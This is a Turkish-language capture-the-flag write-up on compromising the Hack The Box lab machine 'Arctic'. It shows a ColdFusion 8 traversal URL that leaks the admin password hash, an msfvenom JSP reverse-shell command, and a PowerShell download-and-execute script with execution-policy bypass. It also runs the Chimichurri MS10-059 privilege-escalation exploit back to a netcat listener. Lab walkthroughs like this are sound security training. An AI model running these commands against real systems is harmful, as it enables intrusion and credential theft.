Hack The Box: Arctic Çözümü

0
1143
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Arctic isimli Orta zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Arctic sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.11
  • İşletim Sistemi: Windows

 

A) Port Tarama

Port taraması sonucunda 3 adet portun açık olduğu tespit edilmiştir.

nmap -sS -sC -sV -vv -p- -oA fulltcp –open 10.10.10.11

 

Açık portlar aşağıdaki gibidir:

  • 135/tcp
  • 8500/tcp
  • 49154/tcp

Burada 8500/tcp portu üzerinde yukarıdaki ekran görüntüsünde de gördüğümüz üzere “fmtp” hizmeti bulunmaktadır. İlgili porta, web tarayıcısı üzerinden gittiğimizde ise, dizin listelemeye açık olduğunu tespit ediyoruz.

 

/CFIDE/” dizini içerisinde “/administrator/” adlı bir dizin olduğu görülmektedir.

 

Söz konusu dizinler üzerinden tespit edilen Adobe ColdFusion 8 yönetim paneline web tarayıcısı üzerinden de erişilebilmektedir.

 

B) Zafiyeti Arama

İlgili yönetim paneline ait bulunan açıklıkların tespiti için Google’dan arama yapılabilir.

 

Çıkan sonuçlarda Exploit-DB bağlantısı bulunmaktadır.

https://www.exploit-db.com/exploits/14641

 

Zafiyet detayları için bir başka bağlantı bulunmaktadır.

http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

 

Yukarıda URL bilgisi verilen ilgili sayfanın detaylarını incelediğimiz saldırı aşamalarında; ColdFusion 8 üzerinde yöneticiye ait parola özeti değerinin “password.properties” dosyasında bulunduğu belirtilmektedir. Bu durumda bu zafiyeti kullanarak exploit detayında yer alan yöneticiye ait parola özetinin tespit edilebileceği URL’e gittiğimizde “Administrator” kullanıcısına ait parola özeti değerini ele geçirebiliriz.

 

C) Zafiyetin İstismarı – I. Adım: Admin Hesabı ile Oturum Açma

Exploit-DB betiğinde de belirtilen dizine gidildiğinde “Administrator” kullanıcısına ait parola özeti değeri görülebilir.

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.propertiesen

 

Not: Benzer olarak MSF coldfusion_locale_traversal yardımcı modülü de kullanılabilir.

use auxiliary/scanner/http/coldfusion_locale_traversal
set RHOSTS 10.10.10.11
run

 

Zafiyetin istismarı ile elde edilen parola özeti değerinin şifrelendiği algortimanın tespiti için hash-identifier aracı kullanılabilir.

 

Yönetim konsoluna erişmek için parolanın açık metin haline ihtiyaç vardır. Bu amaçla parola özeti çevrimiçi olarak kırılabilir.

https://crackstation.net/

 

SHA-1 özeti kırıldığında, parolanın “happyday” olduğu tespit edilmiştir. Sonuç olarak yönetim konsolunda “admin” kullanıcı adı ve “happyday” parolası ile oturum açılabilmiştir.

 

D) Zafiyetin İstismarı – II. Adım: Komut Satırı Erişimi Elde Etme

Zamanlanmış görevleri kullanarak sistem üzerinde komut satırı erişimi elde edebiliriz. Bunun için ilk olarak shellcode üretmemiz gerekiyor. Coldfusion için ise kullanabileceğimiz shellcode’u elde etmenin bir kaç yolu vardır:

  • Kali işletim sistemi üzerinde hazır bulunan shellcodu kullanmak
    • /usr/share/webshells/cfm/cfexec.cfm
  • Coldfusion “.jsp” uzantılı dosyaları çalıştırmayı desteklediğinden dolayı msfvenom’u kullanarak .jsp uzantılı bir shellcode oluşturmak
    • msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=5555 -f raw > asd.jsp
  • İnternet üzerindeki bir CFM web shellcode dosyasını kullanmak
    • http://grutz.jingojango.net/exploits/cfexec.cfm
    • https://raw.githubusercontent.com/Pashkela/Cfm_Shell_v3.0_edition/master/shell.cfm

 

Shellcode’umuzu “Server Settings > Mappings” panelinin içerisine kaydedebiliriz.

 

Biz Shellcode oluşturmak için bu yazıda, ikinci yolu tercih ediyoruz. Yukarıda belirtildiği şekilde msfvenom ile Shellcode’umuzu üretiyoruz.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=5555 -f raw > asd.jsp

 

Oluşturulan Shellcode belirli bir zaman diliminde çalışacak şekilde zamanlanacaktır. Bunun öncesinde ters bağlantıyı sağlayacak olan Shellcode’un Kali üzerinden indirilmesi gerekir. Bu amaçla Kali üzerinde bir web servis başlatılır.

python -m SimpleHTTPServer

 

Shellcode indirilip çalıştığında da ters bağlantı oluşacaktır. Bu bağlantıyı yakalayacak bir dinleyici başlatılır.

nc -lvp 5555

 

Hazırlıklar tamamlandıktan sonra zamanlanmış görev oluşturulabilir.

  • URL: http://10.10.14.17/rev-shell.jsp
  • File: C:\ColdFusion8\wwwroot\CFIDE\rev-shell.jsp

 

Bir süre sonra (belirlenen zaman geldiğinde), Kali üzerindeki Shellcode dosyası “Save output to a file” ile belirtilen dizine (C:\Inetpub\wwwroot\CFIDE\) yüklenir.

 

Not: Belirtilen dizin yerine, zamanlanmış görevler sayfasında “Run” ikonuna basılarak da komut görev başlatılabilir.

Sayfa çağırıldığında komut çalıştırılabilinen bir ekran elde edilmiştir.

http://10.10.10.11:8500/CFIDE/rev-shell.jsp

nc -lvp 5555

 

user.txt” dosyasının tespiti için, C:\ diskindeki dizinlerde “find” aracı kullanılabilir.

dir C:\ /s/b | find /i “user.txt”

 

E) Yetki Yükseltme

İşletim sistemi ile ilgili detayların tespiti için “systeminfo” aracı kullanılabilir.

 

Söz konusu çıktıyı incelediğimizde işletim sisteminin “Windows Server 2008 R2” , sistem tipinin “x64” olduğunu ve ilgili işletim sisteminde herhangi bir yamanın geçilmediği (Hotfix(s)) gözlemlenmektedir. Tüm bu veriler göz önüne alarak öncelikli olarak hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıklarını tespit edeceğiz. Bunun için aşağıda link olarak detayını verdiğimiz “Windows-Exploit-Suggester” aracını kullanacağız.

İlgili aracı henüz indirmediyseniz işletim sistemine aşağıdaki şekilde indirebilirsiniz:

git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git

 

Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır:

./windows-exploit-suggester.py –update

 

Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir. Bunlar;

  • database: Güncel yama listesi.
  • systeminfo: Hedef sisteme ait systeminfo çıktısı.

İlgili parametreleri sağlayarak aşağıda detaylarını verdiğimiz şekilde taramamızı gerçekleştiriyoruz.

python windows-exploit-suggester.py –database 2019-06-22-mssb.xls –systeminfo systeminfo.txt

 

Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu açıklıklardan biri olan “MS10-059” açıklığını istismar ederek sistem üzerinde “NT Authority\SYSTEM” haklarını elde edeceğiz.

Söz konusu güvenlik açıklığını “Exploit-DB” üzerinden incelediğimizde bir diğer adı olan “Chimicchuri” exploiti önerilmektedir.

https://www.exploit-db.com/exploits/14610

 

İstismar kodu Github üzerinde bulunmaktadır.

 

İlgili istismar kodunu aşağıdaki şekilde kendi Kali makinemize indiriyoruz:

git clone https://github.com/Re4son/Chimichurri.git

 

Ardından öncelikli olarak python ile HTTP sunucumuzu başlatıyoruz ve Powershell kullanarak hedef makineye exe dosyamızı yüklüyoruz.

python -m SimpleHTTPServer 9090

echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = “http://10.10.14.17:9090/Chimichurri.exe” >>wget.ps1
echo $file = “ms10-059-exploit.exe” >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

 

ms10-059-exploit.exe” adında hedef sisteme yüklediğimiz exploitimizde bizden iki parametre istenmektedir. Bunlar ise kendi sistemimize ait olan IP adresi ve ters bağlantı (reverse shell) almak istediğimiz herhangi bir port. Söz konusu adımları aşağıdaki şekilde gerçekleştiriyoruz.

İlk olarak dinleyicimizi başlatıyoruz:

nc -lvp 3333

 

Ardından ilgili parametreleri vererek exploitimizi çalıştırıyoruz:

ms10-059-exploit.exe 10.10.14.17 3333

 

root.txt” dosyası Administrator kullanıcısının ev dizininde bulunmaktadır.

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • HackTheBox Bastard (MS10-059)

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/06/hack-box-arctic.html
Kerentanan Adobe ColdFusion
https://jumpespjump.blogspot.com.tr/2014/03/attacking-adobe-coldfusion.html

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.